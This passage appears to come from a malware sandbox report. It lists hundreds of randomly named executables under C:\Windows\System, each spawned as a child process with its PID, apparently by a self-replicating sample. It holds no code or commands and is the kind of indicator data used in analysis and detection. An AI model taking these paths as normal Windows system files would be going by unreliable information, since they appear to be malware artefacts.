- C:\Windows\System\fXkujVb.exe
  C:\Windows\System\fXkujVb.exe
  2⤵
  PID:8900
- C:\Windows\System\fZtwQPi.exe
  C:\Windows\System\fZtwQPi.exe
  2⤵
  PID:8848
- C:\Windows\System\evTamiV.exe
  C:\Windows\System\evTamiV.exe
  2⤵
  PID:9040
- C:\Windows\System\mZIoCgn.exe
  C:\Windows\System\mZIoCgn.exe
  2⤵
  PID:9076
- C:\Windows\System\gCxKAEq.exe
  C:\Windows\System\gCxKAEq.exe
  2⤵
  PID:9120
- C:\Windows\System\dvSluSr.exe
  C:\Windows\System\dvSluSr.exe
  2⤵
  PID:9100
- C:\Windows\System\OBtEUYo.exe
  C:\Windows\System\OBtEUYo.exe
  2⤵
  PID:8148
- C:\Windows\System\LhBWgkq.exe
  C:\Windows\System\LhBWgkq.exe
  2⤵
  PID:8240
- C:\Windows\System\ruKhAzp.exe
  C:\Windows\System\ruKhAzp.exe
  2⤵
  PID:8020
- C:\Windows\System\IgsddFT.exe
  C:\Windows\System\IgsddFT.exe
  2⤵
  PID:8296
- C:\Windows\System\XFueWPB.exe
  C:\Windows\System\XFueWPB.exe
  2⤵
  PID:8388
- C:\Windows\System\CxfQoYK.exe
  C:\Windows\System\CxfQoYK.exe
  2⤵
  PID:8332
- C:\Windows\System\frJJFMF.exe
  C:\Windows\System\frJJFMF.exe
  2⤵
  PID:8364
- C:\Windows\System\imRzKkf.exe
  C:\Windows\System\imRzKkf.exe
  2⤵
  PID:5748
- C:\Windows\System\UucDEnF.exe
  C:\Windows\System\UucDEnF.exe
  2⤵
  PID:8472
- C:\Windows\System\tiPudES.exe
  C:\Windows\System\tiPudES.exe
  2⤵
  PID:8232
- C:\Windows\System\wwPXQiz.exe
  C:\Windows\System\wwPXQiz.exe
  2⤵
  PID:8724
- C:\Windows\System\yEbrXKy.exe
  C:\Windows\System\yEbrXKy.exe
  2⤵
  PID:2344
- C:\Windows\System\uLIuYLW.exe
  C:\Windows\System\uLIuYLW.exe
  2⤵
  PID:8952
- C:\Windows\System\vIwqdzA.exe
  C:\Windows\System\vIwqdzA.exe
  2⤵
  PID:8956
- C:\Windows\System\qUWguhN.exe
  C:\Windows\System\qUWguhN.exe
  2⤵
  PID:9188
- C:\Windows\System\wGRbhXe.exe
  C:\Windows\System\wGRbhXe.exe
  2⤵
  PID:9164
- C:\Windows\System\kPOjfhG.exe
  C:\Windows\System\kPOjfhG.exe
  2⤵
  PID:9148
- C:\Windows\System\zGhDZZc.exe
  C:\Windows\System\zGhDZZc.exe
  2⤵
  PID:9180
- C:\Windows\System\hqEUQiH.exe
  C:\Windows\System\hqEUQiH.exe
  2⤵
  PID:9032
- C:\Windows\System\JBhjCJN.exe
  C:\Windows\System\JBhjCJN.exe
  2⤵
  PID:9016
- C:\Windows\System\IhSDdZM.exe
  C:\Windows\System\IhSDdZM.exe
  2⤵
  PID:8992
- C:\Windows\System\lZBKTXs.exe
  C:\Windows\System\lZBKTXs.exe
  2⤵
  PID:8964
- C:\Windows\System\pzHmSxX.exe
  C:\Windows\System\pzHmSxX.exe
  2⤵
  PID:9160
- C:\Windows\System\txYDCAt.exe
  C:\Windows\System\txYDCAt.exe
  2⤵
  PID:6372
- C:\Windows\System\HUKLjbJ.exe
  C:\Windows\System\HUKLjbJ.exe
  2⤵
  PID:8796
- C:\Windows\System\wCSvjDL.exe
  C:\Windows\System\wCSvjDL.exe
  2⤵
  PID:9324
- C:\Windows\System\Ildylgw.exe
  C:\Windows\System\Ildylgw.exe
  2⤵
  PID:9300
- C:\Windows\System\MNjWwLJ.exe
  C:\Windows\System\MNjWwLJ.exe
  2⤵
  PID:9272
- C:\Windows\System\BNnqkYc.exe
  C:\Windows\System\BNnqkYc.exe
  2⤵
  PID:9248
- C:\Windows\System\lLVbvph.exe
  C:\Windows\System\lLVbvph.exe
  2⤵
  PID:9232
- C:\Windows\System\kLDXySY.exe
  C:\Windows\System\kLDXySY.exe
  2⤵
  PID:4376
- C:\Windows\System\OQGyoFA.exe
  C:\Windows\System\OQGyoFA.exe
  2⤵
  PID:9092
- C:\Windows\System\jQHvkWi.exe
  C:\Windows\System\jQHvkWi.exe
  2⤵
  PID:8720
- C:\Windows\System\YmIyOom.exe
  C:\Windows\System\YmIyOom.exe
  2⤵
  PID:8856
- C:\Windows\System\eDcHBxR.exe
  C:\Windows\System\eDcHBxR.exe
  2⤵
  PID:8444
- C:\Windows\System\xPdnlAy.exe
  C:\Windows\System\xPdnlAy.exe
  2⤵
  PID:5268
- C:\Windows\System\lNWSxjY.exe
  C:\Windows\System\lNWSxjY.exe
  2⤵
  PID:8320
- C:\Windows\System\lVmUYWy.exe
  C:\Windows\System\lVmUYWy.exe
  2⤵
  PID:9212
- C:\Windows\System\TQsYkOr.exe
  C:\Windows\System\TQsYkOr.exe
  2⤵
  PID:9196
- C:\Windows\System\fDqlGVl.exe
  C:\Windows\System\fDqlGVl.exe
  2⤵
  PID:8944
- C:\Windows\System\llnEtfO.exe
  C:\Windows\System\llnEtfO.exe
  2⤵
  PID:8824
- C:\Windows\System\lBJpjpG.exe
  C:\Windows\System\lBJpjpG.exe
  2⤵
  PID:9344
- C:\Windows\System\mAERgLE.exe
  C:\Windows\System\mAERgLE.exe
  2⤵
  PID:9456
- C:\Windows\System\mEwgvtu.exe
  C:\Windows\System\mEwgvtu.exe
  2⤵
  PID:9588
- C:\Windows\System\wScJRfs.exe
  C:\Windows\System\wScJRfs.exe
  2⤵
  PID:9744
- C:\Windows\System\zVpGdou.exe
  C:\Windows\System\zVpGdou.exe
  2⤵
  PID:9720
- C:\Windows\System\WFlkxdK.exe
  C:\Windows\System\WFlkxdK.exe
  2⤵
  PID:9692
- C:\Windows\System\edsuTBq.exe
  C:\Windows\System\edsuTBq.exe
  2⤵
  PID:9668
- C:\Windows\System\BbotAnq.exe
  C:\Windows\System\BbotAnq.exe
  2⤵
  PID:9648
- C:\Windows\System\OLivxGC.exe
  C:\Windows\System\OLivxGC.exe
  2⤵
  PID:9616
- C:\Windows\System\dRWvuFR.exe
  C:\Windows\System\dRWvuFR.exe
  2⤵
  PID:9564
- C:\Windows\System\BnDMbnW.exe
  C:\Windows\System\BnDMbnW.exe
  2⤵
  PID:9544
- C:\Windows\System\XkaZINS.exe
  C:\Windows\System\XkaZINS.exe
  2⤵
  PID:9516
- C:\Windows\System\jKPbGVm.exe
  C:\Windows\System\jKPbGVm.exe
  2⤵
  PID:9492
- C:\Windows\System\SJAOjJu.exe
  C:\Windows\System\SJAOjJu.exe
  2⤵
  PID:9436
- C:\Windows\System\xAdAFOz.exe
  C:\Windows\System\xAdAFOz.exe
  2⤵
  PID:9412
- C:\Windows\System\SDGYGQO.exe
  C:\Windows\System\SDGYGQO.exe
  2⤵
  PID:9388
- C:\Windows\System\xsLroDH.exe
  C:\Windows\System\xsLroDH.exe
  2⤵
  PID:9372
- C:\Windows\System\ZVQcITo.exe
  C:\Windows\System\ZVQcITo.exe
  2⤵
  PID:10024
- C:\Windows\System\nNcuCLh.exe
  C:\Windows\System\nNcuCLh.exe
  2⤵
  PID:10132
- C:\Windows\System\vslcxfc.exe
  C:\Windows\System\vslcxfc.exe
  2⤵
  PID:10232
- C:\Windows\System\NDhPMZB.exe
  C:\Windows\System\NDhPMZB.exe
  2⤵
  PID:10204
- C:\Windows\System\UfQXKFO.exe
  C:\Windows\System\UfQXKFO.exe
  2⤵
  PID:10184
- C:\Windows\System\bRWjSSl.exe
  C:\Windows\System\bRWjSSl.exe
  2⤵
  PID:10160
- C:\Windows\System\LPoHLOX.exe
  C:\Windows\System\LPoHLOX.exe
  2⤵
  PID:10108
- C:\Windows\System\FSJPSKm.exe
  C:\Windows\System\FSJPSKm.exe
  2⤵
  PID:10084
- C:\Windows\System\ckxTzyQ.exe
  C:\Windows\System\ckxTzyQ.exe
  2⤵
  PID:10056
- C:\Windows\System\CitIxWJ.exe
  C:\Windows\System\CitIxWJ.exe
  2⤵
  PID:9996
- C:\Windows\System\jlwmOIM.exe
  C:\Windows\System\jlwmOIM.exe
  2⤵
  PID:9972
- C:\Windows\System\bkAqVOe.exe
  C:\Windows\System\bkAqVOe.exe
  2⤵
  PID:9952
- C:\Windows\System\gnlaESw.exe
  C:\Windows\System\gnlaESw.exe
  2⤵
  PID:9928
- C:\Windows\System\RHVQiij.exe
  C:\Windows\System\RHVQiij.exe
  2⤵
  PID:9900
- C:\Windows\System\xgWlBVR.exe
  C:\Windows\System\xgWlBVR.exe
  2⤵
  PID:9320
- C:\Windows\System\gBWQVPf.exe
  C:\Windows\System\gBWQVPf.exe
  2⤵
  PID:4128
- C:\Windows\System\ybDyLeO.exe
  C:\Windows\System\ybDyLeO.exe
  2⤵
  PID:10124
- C:\Windows\System\ENUUwii.exe
  C:\Windows\System\ENUUwii.exe
  2⤵
  PID:10004
- C:\Windows\System\dzHQVLX.exe
  C:\Windows\System\dzHQVLX.exe
  2⤵
  PID:9884
- C:\Windows\System\xMVkdDV.exe
  C:\Windows\System\xMVkdDV.exe
  2⤵
  PID:9708
- C:\Windows\System\fsshXzP.exe
  C:\Windows\System\fsshXzP.exe
  2⤵
  PID:9740
- C:\Windows\System\osWQClK.exe
  C:\Windows\System\osWQClK.exe
  2⤵
  PID:9572
- C:\Windows\System\gnpIDSf.exe
  C:\Windows\System\gnpIDSf.exe
  2⤵
  PID:9732
- C:\Windows\System\Unwzoqj.exe
  C:\Windows\System\Unwzoqj.exe
  2⤵
  PID:9656
- C:\Windows\System\DacZPtJ.exe
  C:\Windows\System\DacZPtJ.exe
  2⤵
  PID:9448
- C:\Windows\System\oMnwbDQ.exe
  C:\Windows\System\oMnwbDQ.exe
  2⤵
  PID:9676
- C:\Windows\System\CYvAAjU.exe
  C:\Windows\System\CYvAAjU.exe
  2⤵
  PID:1748
- C:\Windows\System\RwzBhsh.exe
  C:\Windows\System\RwzBhsh.exe
  2⤵
  PID:9596
- C:\Windows\System\sYLtfRp.exe
  C:\Windows\System\sYLtfRp.exe
  2⤵
  PID:9452
- C:\Windows\System\TaGjslQ.exe
  C:\Windows\System\TaGjslQ.exe
  2⤵
  PID:9260
- C:\Windows\System\QCiUVZm.exe
  C:\Windows\System\QCiUVZm.exe
  2⤵
  PID:9224
- C:\Windows\System\BouOdky.exe
  C:\Windows\System\BouOdky.exe
  2⤵
  PID:8844
- C:\Windows\System\oosxkCf.exe
  C:\Windows\System\oosxkCf.exe
  2⤵
  PID:8548
- C:\Windows\System\qoIOoxm.exe
  C:\Windows\System\qoIOoxm.exe
  2⤵
  PID:9488
- C:\Windows\System\CaTRbZo.exe
  C:\Windows\System\CaTRbZo.exe
  2⤵
  PID:8228
- C:\Windows\System\hGXiQBH.exe
  C:\Windows\System\hGXiQBH.exe
  2⤵
  PID:9112
- C:\Windows\System\LlyAHCb.exe
  C:\Windows\System\LlyAHCb.exe
  2⤵
  PID:8208
- C:\Windows\System\MsNadAA.exe
  C:\Windows\System\MsNadAA.exe
  2⤵
  PID:10224
- C:\Windows\System\cUHGByN.exe
  C:\Windows\System\cUHGByN.exe
  2⤵
  PID:10168
- C:\Windows\System\obIyXFL.exe
  C:\Windows\System\obIyXFL.exe
  2⤵
  PID:9936
- C:\Windows\System\BDdqZcr.exe
  C:\Windows\System\BDdqZcr.exe
  2⤵
  PID:8000
- C:\Windows\System\xjbPkum.exe
  C:\Windows\System\xjbPkum.exe
  2⤵
  PID:7968
- C:\Windows\System\YGCBmnj.exe
  C:\Windows\System\YGCBmnj.exe
  2⤵
  PID:952
- C:\Windows\System\uUJCVRm.exe
  C:\Windows\System\uUJCVRm.exe
  2⤵
  PID:9576
- C:\Windows\System\unfjshP.exe
  C:\Windows\System\unfjshP.exe
  2⤵
  PID:2140
- C:\Windows\System\lsyJNdG.exe
  C:\Windows\System\lsyJNdG.exe
  2⤵
  PID:10220
- C:\Windows\System\QyAOKGC.exe
  C:\Windows\System\QyAOKGC.exe
  2⤵
  PID:9444
- C:\Windows\System\mEeDiqX.exe
  C:\Windows\System\mEeDiqX.exe
  2⤵
  PID:9504
- C:\Windows\System\xfWnEJy.exe
  C:\Windows\System\xfWnEJy.exe
  2⤵
  PID:7784
- C:\Windows\System\kAfCZMR.exe
  C:\Windows\System\kAfCZMR.exe
  2⤵
  PID:7496
- C:\Windows\System\dLuLNnq.exe
  C:\Windows\System\dLuLNnq.exe
  2⤵
  PID:10192
- C:\Windows\System\TRYqhSF.exe
  C:\Windows\System\TRYqhSF.exe
  2⤵
  PID:8532
- C:\Windows\System\ZAdUodj.exe
  C:\Windows\System\ZAdUodj.exe
  2⤵
  PID:3248
- C:\Windows\System\HaikKmN.exe
  C:\Windows\System\HaikKmN.exe
  2⤵
  PID:1492
- C:\Windows\System\gzEEgyp.exe
  C:\Windows\System\gzEEgyp.exe
  2⤵
  PID:2524
- C:\Windows\System\zWMhAgs.exe
  C:\Windows\System\zWMhAgs.exe
  2⤵
  PID:9912
- C:\Windows\System\qWhLnNX.exe
  C:\Windows\System\qWhLnNX.exe
  2⤵
  PID:9580
- C:\Windows\System\yDeZJqh.exe
  C:\Windows\System\yDeZJqh.exe
  2⤵
  PID:10044
- C:\Windows\System\dzRgctU.exe
  C:\Windows\System\dzRgctU.exe
  2⤵
  PID:10228
- C:\Windows\System\rVzFORr.exe
  C:\Windows\System\rVzFORr.exe
  2⤵
  PID:5080
- C:\Windows\System\CNzTMGC.exe
  C:\Windows\System\CNzTMGC.exe
  2⤵
  PID:1276
- C:\Windows\System\JEyXKLB.exe
  C:\Windows\System\JEyXKLB.exe
  2⤵
  PID:9916
- C:\Windows\System\xmrWUUc.exe
  C:\Windows\System\xmrWUUc.exe
  2⤵
  PID:432
- C:\Windows\System\OvZWdfB.exe
  C:\Windows\System\OvZWdfB.exe
  2⤵
  PID:9636
- C:\Windows\System\sPfkwrI.exe
  C:\Windows\System\sPfkwrI.exe
  2⤵
  PID:10288
- C:\Windows\System\LVuUdwO.exe
  C:\Windows\System\LVuUdwO.exe
  2⤵
  PID:10272
- C:\Windows\System\fPEwsuJ.exe
  C:\Windows\System\fPEwsuJ.exe
  2⤵
  PID:10328
- C:\Windows\System\RilQxxq.exe
  C:\Windows\System\RilQxxq.exe
  2⤵
  PID:10308
- C:\Windows\System\punTBJw.exe
  C:\Windows\System\punTBJw.exe
  2⤵
  PID:10252
- C:\Windows\System\KPpIcdB.exe
  C:\Windows\System\KPpIcdB.exe
  2⤵
  PID:7860
- C:\Windows\System\CvvxSLw.exe
  C:\Windows\System\CvvxSLw.exe
  2⤵
  PID:10396
- C:\Windows\System\GrdpWqR.exe
  C:\Windows\System\GrdpWqR.exe
  2⤵
  PID:10380
- C:\Windows\System\IErSurt.exe
  C:\Windows\System\IErSurt.exe
  2⤵
  PID:10512
- C:\Windows\System\QChFWdU.exe
  C:\Windows\System\QChFWdU.exe
  2⤵
  PID:10556
- C:\Windows\System\poORtwS.exe
  C:\Windows\System\poORtwS.exe
  2⤵
  PID:10532
- C:\Windows\System\exEnGOh.exe
  C:\Windows\System\exEnGOh.exe
  2⤵
  PID:10488
- C:\Windows\System\vzzuXVc.exe
  C:\Windows\System\vzzuXVc.exe
  2⤵
  PID:10612
- C:\Windows\System\byfQDIC.exe
  C:\Windows\System\byfQDIC.exe
  2⤵
  PID:10684
- C:\Windows\System\UZnKqtF.exe
  C:\Windows\System\UZnKqtF.exe
  2⤵
  PID:10732
- C:\Windows\System\moczImv.exe
  C:\Windows\System\moczImv.exe
  2⤵
  PID:10844
- C:\Windows\System\hQvUwvU.exe
  C:\Windows\System\hQvUwvU.exe
  2⤵
  PID:10824
- C:\Windows\System\qkncDPP.exe
  C:\Windows\System\qkncDPP.exe
  2⤵
  PID:10796
- C:\Windows\System\VRrpPpn.exe
  C:\Windows\System\VRrpPpn.exe
  2⤵
  PID:10776
- C:\Windows\System\sNDEfDQ.exe
  C:\Windows\System\sNDEfDQ.exe
  2⤵
  PID:10752
- C:\Windows\System\wlbFKhi.exe
  C:\Windows\System\wlbFKhi.exe
  2⤵
  PID:10708
- C:\Windows\System\CMjXYPH.exe
  C:\Windows\System\CMjXYPH.exe
  2⤵
  PID:10656
- C:\Windows\System\EuWbVut.exe
  C:\Windows\System\EuWbVut.exe
  2⤵
  PID:10864
- C:\Windows\System\HAkuLuk.exe
  C:\Windows\System\HAkuLuk.exe
  2⤵
  PID:10932
- C:\Windows\System\bSPUmAQ.exe
  C:\Windows\System\bSPUmAQ.exe
  2⤵
  PID:11068
- C:\Windows\System\kqMCoAM.exe
  C:\Windows\System\kqMCoAM.exe
  2⤵
  PID:11092
- C:\Windows\System\afjmwvl.exe
  C:\Windows\System\afjmwvl.exe
  2⤵
  PID:11128
- C:\Windows\System\jRWgeSD.exe
  C:\Windows\System\jRWgeSD.exe
  2⤵
  PID:11188
- C:\Windows\System\eRSNRQc.exe
  C:\Windows\System\eRSNRQc.exe
  2⤵
  PID:11156
- C:\Windows\System\UIDaBGA.exe
  C:\Windows\System\UIDaBGA.exe
  2⤵
  PID:11044
- C:\Windows\System\YtwXFNh.exe
  C:\Windows\System\YtwXFNh.exe
  2⤵
  PID:11020
- C:\Windows\System\iJEDUHs.exe
  C:\Windows\System\iJEDUHs.exe
  2⤵
  PID:10992
- C:\Windows\System\evfQajR.exe
  C:\Windows\System\evfQajR.exe
  2⤵
  PID:10960
- C:\Windows\System\Xknqarn.exe
  C:\Windows\System\Xknqarn.exe
  2⤵
  PID:10912
- C:\Windows\System\throGdk.exe
  C:\Windows\System\throGdk.exe
  2⤵
  PID:9356
- C:\Windows\System\ZRUPLrj.exe
  C:\Windows\System\ZRUPLrj.exe
  2⤵
  PID:368
- C:\Windows\System\OpnUyNq.exe
  C:\Windows\System\OpnUyNq.exe
  2⤵
  PID:10360
- C:\Windows\System\nxEucZn.exe
  C:\Windows\System\nxEucZn.exe
  2⤵
  PID:3408
- C:\Windows\System\JDNyCeM.exe
  C:\Windows\System\JDNyCeM.exe
  2⤵
  PID:4484
- C:\Windows\System\CFcTGPy.exe
  C:\Windows\System\CFcTGPy.exe
  2⤵
  PID:10704
- C:\Windows\System\VWdASzl.exe
  C:\Windows\System\VWdASzl.exe
  2⤵
  PID:10808
- C:\Windows\System\FVDAIwo.exe
  C:\Windows\System\FVDAIwo.exe
  2⤵
  PID:10740
- C:\Windows\System\SqhAzIh.exe
  C:\Windows\System\SqhAzIh.exe
  2⤵
  PID:10772
- C:\Windows\System\nkcNzKM.exe
  C:\Windows\System\nkcNzKM.exe
  2⤵
  PID:4164
- C:\Windows\System\NZbspHM.exe
  C:\Windows\System\NZbspHM.exe
  2⤵
  PID:10440
- C:\Windows\System\txSCBly.exe
  C:\Windows\System\txSCBly.exe
  2⤵
  PID:10496
- C:\Windows\System\VYdqpSw.exe
  C:\Windows\System\VYdqpSw.exe
  2⤵
  PID:4924
- C:\Windows\System\iwuozGU.exe
  C:\Windows\System\iwuozGU.exe
  2⤵
  PID:2600
- C:\Windows\System\tpbZSDp.exe
  C:\Windows\System\tpbZSDp.exe
  2⤵
  PID:10540
- C:\Windows\System\whNbOot.exe
  C:\Windows\System\whNbOot.exe
  2⤵
  PID:10668
- C:\Windows\System\mCKbuIi.exe
  C:\Windows\System\mCKbuIi.exe
  2⤵
  PID:10500
- C:\Windows\System\fDXrcdD.exe
  C:\Windows\System\fDXrcdD.exe
  2⤵
  PID:10600
- C:\Windows\System\XBtDJQK.exe
  C:\Windows\System\XBtDJQK.exe
  2⤵
  PID:10572
- C:\Windows\System\fCEMZvo.exe
  C:\Windows\System\fCEMZvo.exe
  2⤵
  PID:10836
- C:\Windows\System\IVaPRhk.exe
  C:\Windows\System\IVaPRhk.exe
  2⤵
  PID:11076
- C:\Windows\System\GvuvJqP.exe
  C:\Windows\System\GvuvJqP.exe
  2⤵
  PID:10944
- C:\Windows\System\dNvTFAx.exe
  C:\Windows\System\dNvTFAx.exe
  2⤵
  PID:10928
- C:\Windows\System\XOmJqZA.exe
  C:\Windows\System\XOmJqZA.exe
  2⤵
  PID:11220
- C:\Windows\System\yrnUQru.exe
  C:\Windows\System\yrnUQru.exe
  2⤵
  PID:9404
- C:\Windows\System\HUGQsJs.exe
  C:\Windows\System\HUGQsJs.exe
  2⤵
  PID:616
- C:\Windows\System\hWALFwY.exe
  C:\Windows\System\hWALFwY.exe
  2⤵
  PID:10304
- C:\Windows\System\LOKNHvD.exe
  C:\Windows\System\LOKNHvD.exe
  2⤵
  PID:8668
- C:\Windows\System\JYwoTYZ.exe
  C:\Windows\System\JYwoTYZ.exe
  2⤵
  PID:1608
- C:\Windows\System\XGisnhc.exe
  C:\Windows\System\XGisnhc.exe
  2⤵
  PID:10364
- C:\Windows\System\AJYJISY.exe
  C:\Windows\System\AJYJISY.exe
  2⤵
  PID:8620
- C:\Windows\System\zGGSphv.exe
  C:\Windows\System\zGGSphv.exe
  2⤵
  PID:10320
- C:\Windows\System\EPzSufM.exe
  C:\Windows\System\EPzSufM.exe
  2⤵
  PID:3496
- C:\Windows\System\yblYzRc.exe
  C:\Windows\System\yblYzRc.exe
  2⤵
  PID:10520
- C:\Windows\System\lhLFSGd.exe
  C:\Windows\System\lhLFSGd.exe
  2⤵
  PID:10624
- C:\Windows\System\zqPBEQH.exe
  C:\Windows\System\zqPBEQH.exe
  2⤵
  PID:11148
- C:\Windows\System\TRCWsoN.exe
  C:\Windows\System\TRCWsoN.exe
  2⤵
  PID:11260
- C:\Windows\System\NRfRkjZ.exe
  C:\Windows\System\NRfRkjZ.exe
  2⤵
  PID:8704
- C:\Windows\System\osQLQaS.exe
  C:\Windows\System\osQLQaS.exe
  2⤵
  PID:6844
- C:\Windows\System\FRcvzeY.exe
  C:\Windows\System\FRcvzeY.exe
  2⤵
  PID:11012
- C:\Windows\System\TYKjTqE.exe
  C:\Windows\System\TYKjTqE.exe
  2⤵
  PID:10972
- C:\Windows\System\LwBWceZ.exe
  C:\Windows\System\LwBWceZ.exe
  2⤵
  PID:2284
- C:\Windows\System\iaQcqEM.exe
  C:\Windows\System\iaQcqEM.exe
  2⤵
  PID:7500
- C:\Windows\System\CyZpQMP.exe
  C:\Windows\System\CyZpQMP.exe
  2⤵
  PID:11168
- C:\Windows\System\XVflZyY.exe
  C:\Windows\System\XVflZyY.exe
  2⤵
  PID:11028
- C:\Windows\System\NrvWZCg.exe
  C:\Windows\System\NrvWZCg.exe
  2⤵
  PID:2876
- C:\Windows\System\SLtwwPG.exe
  C:\Windows\System\SLtwwPG.exe
  2⤵
  PID:11312
- C:\Windows\System\pyjadbS.exe
  C:\Windows\System\pyjadbS.exe
  2⤵
  PID:11396
- C:\Windows\System\ONWugvO.exe
  C:\Windows\System\ONWugvO.exe
  2⤵
  PID:11368
- C:\Windows\System\WdOYiUt.exe
  C:\Windows\System\WdOYiUt.exe
  2⤵
  PID:11344
- C:\Windows\System\DjsBOmH.exe
  C:\Windows\System\DjsBOmH.exe
  2⤵
  PID:11296
- C:\Windows\System\jZgTpqS.exe
  C:\Windows\System\jZgTpqS.exe
  2⤵
  PID:10316
- C:\Windows\System\dFFjKAC.exe
  C:\Windows\System\dFFjKAC.exe
  2⤵
  PID:11244
- C:\Windows\System\pWLhFzc.exe
  C:\Windows\System\pWLhFzc.exe
  2⤵
  PID:1912
- C:\Windows\System\nrCGNMr.exe
  C:\Windows\System\nrCGNMr.exe
  2⤵
  PID:10604
- C:\Windows\System\IHJVBrU.exe
  C:\Windows\System\IHJVBrU.exe
  2⤵
  PID:10444
- C:\Windows\System\MOkOFnU.exe
  C:\Windows\System\MOkOFnU.exe
  2⤵
  PID:10348
- C:\Windows\System\tLrftxA.exe
  C:\Windows\System\tLrftxA.exe
  2⤵
  PID:10448
- C:\Windows\System\SEMAgMB.exe
  C:\Windows\System\SEMAgMB.exe
  2⤵
  PID:1168
- C:\Windows\System\mguhbhY.exe
  C:\Windows\System\mguhbhY.exe
  2⤵
  PID:11460
- C:\Windows\System\lwvJAlO.exe
  C:\Windows\System\lwvJAlO.exe
  2⤵
  PID:11600
- C:\Windows\System\JqxDMPZ.exe
  C:\Windows\System\JqxDMPZ.exe
  2⤵
  PID:11704
- C:\Windows\System\nwGEtWv.exe
  C:\Windows\System\nwGEtWv.exe
  2⤵
  PID:11740
- C:\Windows\System\AyPFCkA.exe
  C:\Windows\System\AyPFCkA.exe
  2⤵
  PID:11684
- C:\Windows\System\wmKuWZm.exe
  C:\Windows\System\wmKuWZm.exe
  2⤵
  PID:11660
- C:\Windows\System\oUIarhW.exe
  C:\Windows\System\oUIarhW.exe
  2⤵
  PID:11640
- C:\Windows\System\BVScGkt.exe
  C:\Windows\System\BVScGkt.exe
  2⤵
  PID:11620
- C:\Windows\System\hKXonUE.exe
  C:\Windows\System\hKXonUE.exe
  2⤵
  PID:11572
- C:\Windows\System\JbEjhDu.exe
  C:\Windows\System\JbEjhDu.exe
  2⤵
  PID:11544
- C:\Windows\System\yucYYxm.exe
  C:\Windows\System\yucYYxm.exe
  2⤵
  PID:11512
- C:\Windows\System\kPCtESp.exe
  C:\Windows\System\kPCtESp.exe
  2⤵
  PID:11480
- C:\Windows\System\JYdSdJq.exe
  C:\Windows\System\JYdSdJq.exe
  2⤵
  PID:11432
- C:\Windows\System\HCEyNLx.exe
  C:\Windows\System\HCEyNLx.exe
  2⤵
  PID:11888
- C:\Windows\System\YjilaTH.exe
  C:\Windows\System\YjilaTH.exe
  2⤵
  PID:11984
- C:\Windows\System\ImjSrka.exe
  C:\Windows\System\ImjSrka.exe
  2⤵
  PID:11864
- C:\Windows\System\ZydFhSS.exe
  C:\Windows\System\ZydFhSS.exe
  2⤵
  PID:12012
- C:\Windows\System\zGCqMuZ.exe
  C:\Windows\System\zGCqMuZ.exe
  2⤵
  PID:11848
- C:\Windows\System\TzGckcx.exe
  C:\Windows\System\TzGckcx.exe
  2⤵
  PID:12056
- C:\Windows\System\plltToH.exe
  C:\Windows\System\plltToH.exe
  2⤵
  PID:12108
- C:\Windows\System\ESrIYCq.exe
  C:\Windows\System\ESrIYCq.exe
  2⤵
  PID:12172
- C:\Windows\System\HlxWczv.exe
  C:\Windows\System\HlxWczv.exe
  2⤵
  PID:12216
- C:\Windows\System\KxNNBhh.exe
  C:\Windows\System\KxNNBhh.exe
  2⤵
  PID:12260
- C:\Windows\System\KlzUotZ.exe
  C:\Windows\System\KlzUotZ.exe
  2⤵
  PID:11036
- C:\Windows\System\febnVfg.exe
  C:\Windows\System\febnVfg.exe
  2⤵
  PID:12284
- C:\Windows\System\isCLBdt.exe
  C:\Windows\System\isCLBdt.exe
  2⤵
  PID:12236
- C:\Windows\System\heNLLCu.exe
  C:\Windows\System\heNLLCu.exe
  2⤵
  PID:12196
- C:\Windows\System\Lyahqjz.exe
  C:\Windows\System\Lyahqjz.exe
  2⤵
  PID:8696
- C:\Windows\System\JSbeBJN.exe
  C:\Windows\System\JSbeBJN.exe
  2⤵
  PID:11052
- C:\Windows\System\AgxHfrd.exe
  C:\Windows\System\AgxHfrd.exe
  2⤵
  PID:11380
- C:\Windows\System\yQfKrCJ.exe
  C:\Windows\System\yQfKrCJ.exe
  2⤵
  PID:11320
- C:\Windows\System\PCwpqYQ.exe
  C:\Windows\System\PCwpqYQ.exe
  2⤵
  PID:11408
- C:\Windows\System\DxVlYuB.exe
  C:\Windows\System\DxVlYuB.exe
  2⤵
  PID:11528
- C:\Windows\System\FQUYMTB.exe
  C:\Windows\System\FQUYMTB.exe
  2⤵
  PID:11652
- C:\Windows\System\wwxRyxH.exe
  C:\Windows\System\wwxRyxH.exe
  2⤵
  PID:11540
- C:\Windows\System\zwTprng.exe
  C:\Windows\System\zwTprng.exe
  2⤵
  PID:11676
- C:\Windows\System\YJawjVN.exe
  C:\Windows\System\YJawjVN.exe
  2⤵
  PID:11588
- C:\Windows\System\jilJNDX.exe
  C:\Windows\System\jilJNDX.exe
  2⤵
  PID:11692
- C:\Windows\System\mpsfQPI.exe
  C:\Windows\System\mpsfQPI.exe
  2⤵
  PID:11976
- C:\Windows\System\yKMCGwb.exe
  C:\Windows\System\yKMCGwb.exe
  2⤵
  PID:12100
- C:\Windows\System\yQQINyC.exe
  C:\Windows\System\yQQINyC.exe
  2⤵
  PID:12072
- C:\Windows\System\NAkScAa.exe
  C:\Windows\System\NAkScAa.exe
  2⤵
  PID:12160
- C:\Windows\System\FACYIqy.exe
  C:\Windows\System\FACYIqy.exe
  2⤵
  PID:12008
- C:\Windows\System\XVjOeFr.exe
  C:\Windows\System\XVjOeFr.exe
  2⤵
  PID:11884
- C:\Windows\System\SQqfnTH.exe
  C:\Windows\System\SQqfnTH.exe
  2⤵
  PID:11920
- C:\Windows\System\JKmbZcl.exe
  C:\Windows\System\JKmbZcl.exe
  2⤵
  PID:11856
- C:\Windows\System\OLGClBz.exe
  C:\Windows\System\OLGClBz.exe
  2⤵
  PID:11768
- C:\Windows\System\yUpanSw.exe
  C:\Windows\System\yUpanSw.exe
  2⤵
  PID:11288
- C:\Windows\System\XIwUxNC.exe
  C:\Windows\System\XIwUxNC.exe
  2⤵
  PID:548
- C:\Windows\System\RRgAVkG.exe
  C:\Windows\System\RRgAVkG.exe
  2⤵
  PID:11488
- C:\Windows\System\WcuGbwr.exe
  C:\Windows\System\WcuGbwr.exe
  2⤵
  PID:11812
- C:\Windows\System\PnkuplC.exe
  C:\Windows\System\PnkuplC.exe
  2⤵
  PID:11960
- C:\Windows\System\pyzzqGo.exe
  C:\Windows\System\pyzzqGo.exe
  2⤵
  PID:10744
- C:\Windows\System\yCLgkQi.exe
  C:\Windows\System\yCLgkQi.exe
  2⤵
  PID:12248
- C:\Windows\System\QTSHeVP.exe
  C:\Windows\System\QTSHeVP.exe
  2⤵
  PID:11820
- C:\Windows\System\VDykgGc.exe
